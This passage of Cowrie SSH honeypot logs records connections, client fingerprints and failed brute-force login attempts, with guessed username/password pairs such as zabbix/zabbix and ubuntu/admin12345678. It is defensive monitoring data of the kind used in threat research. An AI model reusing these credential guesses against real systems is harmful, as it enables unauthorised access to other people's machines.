fie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:27.594416Z","src_ip":"202.4.106.201","session":"0b5552e21957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"123456","message":"login attempt [test123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:28.678265Z","src_ip":"202.4.106.201","session":"0b5552e21957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:29.943932Z","src_ip":"202.4.106.201","session":"0b5552e21957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40656,"dst_ip":"159.203.135.109","dst_port":22,"session":"57456211a108","protocol":"ssh","message":"New connection: 122.168.114.167:40656 (159.203.135.109:22) [session: 57456211a108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:35.904386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:38.556498Z","src_ip":"122.168.114.167","session":"57456211a108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:38.560213Z","src_ip":"122.168.114.167","session":"57456211a108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54710,"dst_ip":"159.203.135.109","dst_port":22,"session":"f04fdd350f4a","protocol":"ssh","message":"New connection: 159.203.92.129:54710 (159.203.135.109:22) [session: f04fdd350f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:41.272131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:41.276533Z","src_ip":"159.203.92.129","session":"f04fdd350f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:41.280696Z","src_ip":"159.203.92.129","session":"f04fdd350f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"123.com","message":"login attempt [at/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:41.292560Z","src_ip":"159.203.92.129","session":"f04fdd350f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:42.298048Z","src_ip":"159.203.92.129","session":"f04fdd350f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:51.032606Z","src_ip":"122.168.114.167","session":"57456211a108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:55.812744Z","src_ip":"122.168.114.167","session":"57456211a108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":38832,"dst_ip":"159.203.135.109","dst_port":22,"session":"3516d5b989bc","protocol":"ssh","message":"New connection: 103.182.132.154:38832 (159.203.135.109:22) [session: 3516d5b989bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:58.425014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:58.429795Z","src_ip":"103.182.132.154","session":"3516d5b989bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:58.643413Z","src_ip":"103.182.132.154","session":"3516d5b989bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdefgh12345","message":"login attempt [ubuntu/abcdefgh12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:59.527898Z","src_ip":"103.182.132.154","session":"3516d5b989bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:00.744553Z","src_ip":"103.182.132.154","session":"3516d5b989bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43064,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f7668324acc","protocol":"ssh","message":"New connection: 122.168.114.167:43064 (159.203.135.109:22) [session: 9f7668324acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:15.024855Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":27666,"dst_ip":"159.203.135.109","dst_port":22,"session":"f67dfe185fba","protocol":"ssh","message":"New connection: 159.223.45.177:27666 (159.203.135.109:22) [session: f67dfe185fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:15.992969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:17.812759Z","src_ip":"122.168.114.167","session":"9f7668324acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:17.816729Z","src_ip":"122.168.114.167","session":"9f7668324acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:18.758374Z","src_ip":"159.223.45.177","session":"f67dfe185fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":36440,"dst_ip":"159.203.135.109","dst_port":22,"session":"422f828cef14","protocol":"ssh","message":"New connection: 202.4.106.201:36440 (159.203.135.109:22) [session: 422f828cef14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:30.461480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:30.466308Z","src_ip":"202.4.106.201","session":"422f828cef14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:30.715891Z","src_ip":"202.4.106.201","session":"422f828cef14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:31.645128Z","src_ip":"122.168.114.167","session":"9f7668324acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12345678","message":"login attempt [ubuntu/admin12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:31.740652Z","src_ip":"202.4.106.201","session":"422f828cef14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:32.996650Z","src_ip":"202.4.106.201","session":"422f828cef14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:36.656716Z","src_ip":"122.168.114.167","session":"9f7668324acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45464,"dst_ip":"159.203.135.109","dst_port":22,"session":"30e9fff6fefa","protocol":"ssh","message":"New connection: 122.168.114.167:45464 (159.203.135.109:22) [session: 30e9fff6fefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:52.708752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:56.631938Z","src_ip":"122.168.114.167","session":"30e9fff6fefa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:56.635510Z","src_ip":"122.168.114.167","session":"30e9fff6fefa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":60948,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec1e16af7c6","protocol":"ssh","message":"New connection: 103.182.132.154:60948 (159.203.135.109:22) [session: dec1e16af7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:57.669487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:57.674501Z","src_ip":"103.182.132.154","session":"dec1e16af7c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:57.888768Z","src_ip":"103.182.132.154","session":"dec1e16af7c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"1q2w3e4r","message":"login attempt [user01/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:49:58.778130Z","src_ip":"103.182.132.154","session":"dec1e16af7c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:00.004085Z","src_ip":"103.182.132.154","session":"dec1e16af7c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32100,"dst_ip":"10.17.0.5","dst_port":22,"session":"389e4f24fde1","protocol":"ssh","message":"New connection: 87.251.64.176:32100 (10.17.0.5:22) [session: 389e4f24fde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:04.922168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:50:04.927340Z","src_ip":"87.251.64.176","session":"389e4f24fde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 